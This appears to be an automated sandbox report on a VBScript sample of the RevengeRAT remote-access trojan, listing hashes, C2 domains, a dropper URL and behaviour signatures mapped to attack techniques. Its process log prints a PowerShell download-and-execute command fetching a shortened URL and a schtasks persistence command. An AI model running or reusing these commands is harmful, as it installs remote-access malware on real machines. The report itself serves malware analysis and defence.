Analysis
- max time kernel
134s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20240802-en - resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system - submitted
06/09/2024, 10:56
Static task
static1
Behavioral task
behavioral1
Sample
cf63d0b15d5d11efe96b97b75ec9e767_JaffaCakes118.vbs
Resource
win7-20240903-en
10 signatures
150 seconds
General
- Target cf63d0b15d5d11efe96b97b75ec9e767_JaffaCakes118.vbs
- Size 1KB
- Sample240906-m17dxsshmg
- SHA256 69a7fd5ba6e543deeba3bc302c5cde78e0e089e95b28a86a46783d5db0f8c683
- MD5 cf63d0b15d5d11efe96b97b75ec9e767
- SHA1 7bc07ee8846a857df1212d808c968a357104965c
- SHA512 0f65c743989ce23c419865aec2bdb5ad23878015b9bca8fd140843bb3a77ea7f04652f7b105e758ee5a0b9f3a20743896af0c4ee3b65656df855056bad9efdc0
- MD5 SHA1 SHA512
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
ps1.dropper
http://bit.ly/2XDPsZ6
Extracted
Family
-
revengerat
Botnet
-
442,
C2
-
googleq.myq-see.com,googletest.linkpc.net:,
Mutex
-
,
Signatures
- RevengeRAT
Remote-access trojan with a wide range of capabilities.
- RevengeRat Executable 1 IoCs
resource yara_rule behavioral2/memory/3372-26-0x00000000075E0000-0x00000000075EA000-memory.dmp revengerat - Blocklisted process makes network request 8 IoCs
flow pid Process 16 3372 Powershell.exe 18 3372 Powershell.exe 22 3372 Powershell.exe 29 3372 Powershell.exe 43 3372 Powershell.exe 47 3372 Powershell.exe 53 3372 Powershell.exe 54 3372 Powershell.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Control Panel\International\Geo\Nation WScript.exe - Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysStartup.vbe WScript.exe -
pid Process 3372 Powershell.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Powershell.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3632 schtasks.exe - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 3372 Powershell.exe 3372 Powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3372 Powershell.exe - Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 2900 wrote to memory of 3372 2900 WScript.exe 83 PID 2900 wrote to memory of 3372 2900 WScript.exe 83 PID 2900 wrote to memory of 3372 2900 WScript.exe 83 PID 2900 wrote to memory of 3632 2900 WScript.exe 85 PID 2900 wrote to memory of 3632 2900 WScript.exe 85 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\cf63d0b15d5d11efe96b97b75ec9e767_JaffaCakes118.vbs"1⤵
- Checks computer location settings
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:2900 -
C:\Windows\syswow64\Windowspowershell\v1.0\Powershell.exe"C:\Windows\syswow64\Windowspowershell\v1.0\Powershell.exe" -noexit -C $cry = new-object Net.WebClient;iex $cry.DownloadString('http://bit.ly/2XDPsZ6')2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3372
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /sc minute /mo 8 /tn localhost /tr "C:\Users\Admin\AppData\Roaming\cf63d0b15d5d11efe96b97b75ec9e767_JaffaCakes118.vbs2⤵
- Scheduled Task/Job: Scheduled Task
PID:3632
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1ujpsyv4.3vd.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512